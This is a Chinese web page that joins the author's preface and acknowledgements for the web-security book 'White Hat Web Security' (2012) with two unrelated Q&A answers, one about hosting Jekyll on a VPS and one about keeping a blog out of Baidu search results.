经历这场危机之后,希望整个中国互联网,在安全问题的认识上,能够有一个新的高度。那这场危机也就物有所值,或许还能借此契机成就中国互联网的一场安全启蒙运动。
这是我的第一本书,也是我坚持自己一个人写完的书,因此可以在书中尽情地阐述自己的安全世界观,且对书中的任何错漏之处以及不成熟的观点都没有可以推卸责任的借口。
由于工作繁忙,写此书只能利用业余时间,交稿时间多次推迟,深感写书的不易。但最终能成书,则有赖于各位亲朋的支持,以及编辑的鼓励,在此深表感谢。本书中很多地方未能写得更为深入细致,实乃精力有限所致,尚请多多包涵。 在安全圈子里,素有“白帽”、“黑帽”一说。
黑帽子是指那些造成破坏的黑客,而白帽子则是研究安全,但不造成破坏的黑客。白帽子均以建设更安全的互联网为己任。
我于2008年开始在国内互联网行业中倡导白帽子的理念,并联合了一些主要互联网公司的安全工程师,建立了白帽子社区,旨在交流工作中遇到的各种问题,以及经验心得。
本书名为《白帽子讲Web安全》,即是站在白帽子的视角,讲述Web安全的方方面面。虽然也剖析攻击原理,但更重要的是如何防范这些问题。同时也希望“白帽子”这一理念,能够更加的广为人知,为中国互联网所接受。 全书分为4大篇共18章,读者可以通过浏览目录以进一步了解各篇章的内容。在有的章节末尾,还附上了笔者曾经写过的一些博客文章,可以作为延伸阅读以及本书正文的补充。
第一篇 我的安全世界观是全书的纲领。在此篇中先回顾了安全的历史,然后阐述了笔者对安全的看法与态度,并提出了一些思考问题的方式以及做事的方法。理解了本篇,就能明白全书中所涉及的解决方案在抉择时的取舍。
第二篇 客户端脚本安全就当前比较流行的客户端脚本攻击进行了深入阐述。当网站的安全做到一定程度后,黑客可能难以再找到类似注入攻击、脚本执行等高风险的漏洞,从而可能将注意力转移到客户端脚本攻击上。
客户端脚本安全与浏览器的特性息息相关,因此对浏览器的深入理解将有助于做好客户端脚本安全的解决方案。
如果读者所要解决的问题比较严峻,比如网站的安全是从零开始,则建议跳过此篇,先阅读下一篇“服务器端应用安全”,解决优先级更高的安全问题。
第三篇 服务器端应用安全就常见的服务器端应用安全问题进行了阐述。这些问题往往能引起非常严重的后果,在网站的安全建设之初需要优先解决这些问题,避免留下任何隐患。
第四篇 互联网公司安全运营提出了一个大安全运营的思想。安全是一个持续的过程,最终仍然要由安全工程师来保证结果。
在本篇中,首先就互联网业务安全问题进行了一些讨论,这些问题对于互联网公司来说有时候会比漏洞更为重要。
在接下来的两章中,首先阐述了安全开发流程的实施过程,以及笔者积累的一些经验。然后谈到了公司安全团队的职责,以及如何建立一个健康完善的安全体系。
本书也可以当做一本安全参考书,读者在遇到问题时,可以挑选任何所需要的章节进行阅读。 感谢我的妻子,她的支持是对我最大的鼓励。本书最后的成书时日,是陪伴在她的病床边完成的,我将铭记一生。
感谢我的父母,是他们养育了我,并一直在背后默默地支持我的事业,使我最终能有机会在这里写下这些话。
感谢我的公司阿里巴巴集团,它营造了良好的技术与实践氛围,使我能够有今天的积累。同时也感谢在工作中一直给予我帮助和鼓励的同事、上司,他们包括但不限于:魏兴国、汤城、刘志生、侯欣杰、林松英、聂万全、谢雄钦、徐敏、刘坤、李泽洋、肖力、叶怡恺。
感谢季昕华先生为本书作序,他一直是所有安全工作者的楷模与学习的对象。
也感谢博文视点的张春雨先生以及他的团队,是他们的努力使本书最终能与广大读者见面。他们的专业意见给了我很多的帮助。
最后特别感谢我的同事周拓,他对本书提出了很多有建设性的意见。
吴翰清
2012年1月于杭州
㈨ jekyll和vps可以一起用吗
可以
1. 首先安装ruby环境.
2. 默认会安装ruby gems包管理工具.(如果官方镜像不给力请尝试更换ruby-china的镜像源)
3. 通过gem包安装jekyll,命令如:gem install jekyll.
4. 上述方式仅安装了jekyll,如果你使用Gemfile来管理依赖那么你还需要安装bundler.然后使用命令bundle install / jekyll server即可运行网站. (注意端口是否开放)
5. 这种情况下,必然增加许多繁琐的操作如更新代码(可以写个插件自动拉取最新版本代码),重新编译,代码管理,web安全等问题.
ps:自己搭建也有个好处,github禁用了jekyll插件,放到自己vps上那就可以为所欲为了.
如果还有其他问题欢迎追问,如果有所帮助敬请采纳.
㈩ 如何让自己制作的网页或者博客以及QQ空间不要在百度中搜索到相关内容
到国外的博客上建博客。并在博客代码里加屏蔽搜索引擎代码;
或者用自动翻译网页---worldlingo翻译成德文;
博客文章里的内容使用生僻表达方法,包括使用比较纯正的文言文。